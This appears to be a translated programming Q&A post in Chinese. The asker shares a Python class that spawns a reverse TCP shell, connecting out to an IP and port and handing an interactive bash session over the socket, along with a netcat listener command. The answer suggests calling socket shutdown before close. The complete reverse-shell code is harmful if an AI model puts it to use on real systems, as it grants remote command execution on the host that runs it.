python - 优雅地杀死一个孤立的套接字

Question

我正在编写一个使用以下代码生成反向 TCP-Shell 的简单代理。

 class ReverseShell:
        def __init__(self, ip, port=9002):
                self.ip = ip
                self.port = port

        def start(self):
                sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                sock.connect((self.ip,self.port))
                os.dup2(sock.fileno(),0)
                os.dup2(sock.fileno(),1)
                os.dup2(sock.fileno(),2)
                subprocess.call(["/bin/bash","-i"]);
                sock.close()

然后我使用以下方法监听我的目标地址:

nc -l 9002

shell 连接良好。但是，如果我键入 exit 它会终止 shell，但数据似乎仍在写入套接字，并停止写入 stdout 代理端。如果我 ctrl+c 退出它，同样的事情会发生，它会杀死 /bin/bash shell，但套接字保持打开状态，我的代理上的文本不会被写入标准输出。我错过了什么？

Answer 1

您需要在 sock.close() 之前执行 sock.shutdown(socket.SHUT_RDWR) 以终止底层的 tcp 连接。